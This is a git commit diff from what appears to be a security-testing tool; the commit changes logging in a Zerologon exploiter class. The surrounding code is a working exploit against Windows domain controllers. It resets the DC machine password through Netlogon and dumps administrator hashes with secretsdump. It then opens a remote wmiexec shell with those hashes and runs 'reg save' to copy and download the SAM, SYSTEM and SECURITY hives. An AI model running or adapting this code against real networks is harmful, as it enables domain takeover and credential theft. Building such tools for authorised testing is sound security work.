Improve log messages and comments

This commit is contained in:
Shreya 2021-01-26 17:54:12 +05:30
parent 13ef69c3ed
commit 1cf07eff89
1 changed files with 34 additions and 27 deletions

View File

@ -17,7 +17,6 @@ import sys
import time import time
import traceback import traceback
from binascii import hexlify, unhexlify from binascii import hexlify, unhexlify
from typing import List
import impacket import impacket
from Cryptodome.Cipher import AES, ARC4, DES from Cryptodome.Cipher import AES, ARC4, DES
@ -111,26 +110,26 @@ class ZerologonExploiter(HostExploiter):
# Start exploiting attempts. # Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256. # Max attempts = 2000. Expected average number of attempts needed: 256.
LOG.debug("Attempting exploit.")
result = None result = None
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
try: try:
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
except nrpc.DCERPCSessionError as ex: except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error. # Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working. # Otherwise, the attack is probably not working.
if ex.get_error_code() != 0xc0000022: if e.get_error_code() != 0xc0000022:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as ex: except BaseException as e:
LOG.info(f"Unexpected error: {ex}") LOG.info(f"Unexpected error: {e}")
if result is not None: if result is not None:
break break
LOG.debug(f"Result error code: {result['ErrorCode']}")
if result['ErrorCode'] == 0: if result['ErrorCode'] == 0:
LOG.info("Exploit complete!") LOG.info("Exploit complete!")
else: else:
LOG.info("Non-zero return code, something went wrong.") LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
_exploited = True _exploited = True
@ -142,11 +141,14 @@ class ZerologonExploiter(HostExploiter):
# Restore DC's original password. # Restore DC's original password.
if _exploited: if _exploited:
try: if self.restore_password(DC_HANDLE, DC_IP, DC_NAME):
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
LOG.info("System exploited and password restored successfully.") LOG.info("System exploited and password restored successfully.")
except: else:
LOG.info("System exploited but couldn't restore password!") LOG.info("System exploited but couldn't restore password!")
else:
LOG.info("System was not exploited.")
return _exploited
def is_exploitable(self): def is_exploitable(self):
return self.zerologon_finger.get_host_fingerprint(self.host) return self.zerologon_finger.get_host_fingerprint(self.host)
@ -175,32 +177,35 @@ class ZerologonExploiter(HostExploiter):
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
LOG.info("DCSync; getting original password hashes.") LOG.debug("DCSync; getting admin password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
try: try:
if not admin_pwd_hashes: if not admin_pwd_hashes:
raise Exception("Couldn't extract admin password's hashes.") raise Exception("Couldn't extract admin password's hashes.")
LOG.debug("Getting original DC password's nthash.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
if not original_pwd_nthash: if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.") raise Exception("Couldn't extract original DC password's nthash.")
# Keep authenticating until successful. # Keep authenticating until successful.
LOG.debug("Attempting password restoration.")
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
if rpc_con is not None: if rpc_con is not None:
break break
if rpc_con: if rpc_con:
LOG.info("DC machine account password should be restored to its original value.") LOG.debug("DC machine account password should be restored to its original value.")
return True
else: else:
LOG.info("Failed to restore password.") raise Exception("Failed to restore password! Max attempts exceeded?")
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str: def get_admin_pwd_hashes(self, DC_NAME, DC_IP):
options = self.OPTIONS_FOR_SECRETSDUMP.copy() options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = DC_IP options['target_ip'] = DC_IP
@ -214,7 +219,7 @@ class ZerologonExploiter(HostExploiter):
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
return ':'.join(hashes) # format - "lmhash:nthash" return ':'.join(hashes) # format - "lmhash:nthash"
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str: def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
return return
@ -230,12 +235,14 @@ class ZerologonExploiter(HostExploiter):
nthash = secret.split(':')[2] nthash = secret.split(':')[2]
return nthash return nthash
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]: def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
dumper = DumpSecrets(remote_name, username, password, domain, options) dumper = DumpSecrets(remote_name, username, password, domain, options)
dumped_secrets = dumper.dump().split('\n') dumped_secrets = dumper.dump().split('\n')
return dumped_secrets return dumped_secrets
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
LOG.debug("Starting remote shell on victim.")
wmiexec = Wmiexec(ip=DC_IP, wmiexec = Wmiexec(ip=DC_IP,
username='Administrator', username='Administrator',
hashes=admin_pwd_hashes, hashes=admin_pwd_hashes,
@ -245,7 +252,7 @@ class ZerologonExploiter(HostExploiter):
if remote_shell: if remote_shell:
_set_stdout_to_in_memory_text_stream() _set_stdout_to_in_memory_text_stream()
# Save HKLM keys on host. # Save HKLM keys on victim.
shell.onecmd('reg save HKLM\SYSTEM system.save && ' + shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
'reg save HKLM\SAM sam.save && ' + 'reg save HKLM\SAM sam.save && ' +
'reg save HKLM\SECURITY security.save') 'reg save HKLM\SECURITY security.save')
@ -255,7 +262,7 @@ class ZerologonExploiter(HostExploiter):
shell.onecmd('get sam.save') shell.onecmd('get sam.save')
shell.onecmd('get security.save') shell.onecmd('get security.save')
# Delete saved keys on host. # Delete saved keys on victim.
shell.onecmd('del /f system.save sam.save security.save') shell.onecmd('del /f system.save sam.save security.save')
info = _unset_stdout_and_return_captured() info = _unset_stdout_and_return_captured()
@ -310,20 +317,20 @@ class ZerologonExploiter(HostExploiter):
resp = rpc_con.request(request) resp = rpc_con.request(request)
resp.dump() resp.dump()
except Exception as ex: except Exception as e:
LOG.info(f"Unexpected error: {ex}") LOG.info(f"Unexpected error: {e}")
return rpc_con return rpc_con
except nrpc.DCERPCSessionError as ex: except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022: if e.get_error_code() == 0xc0000022:
return None return None
else: else:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}") LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as ex: except BaseException as e:
LOG.info(f"Unexpected error: {ex}") LOG.info(f"Unexpected error: {e}")
class NetrServerPasswordSet(nrpc.NDRCALL): class NetrServerPasswordSet(nrpc.NDRCALL):
@ -525,7 +532,7 @@ class DumpSecrets:
return dumped_secrets return dumped_secrets
def cleanup(self): def cleanup(self):
LOG.info('Cleaning up...') LOG.debug('Cleaning up...')
if self.__remote_ops: if self.__remote_ops:
self.__remote_ops.finish() self.__remote_ops.finish()
if self.__SAM_hashes: if self.__SAM_hashes: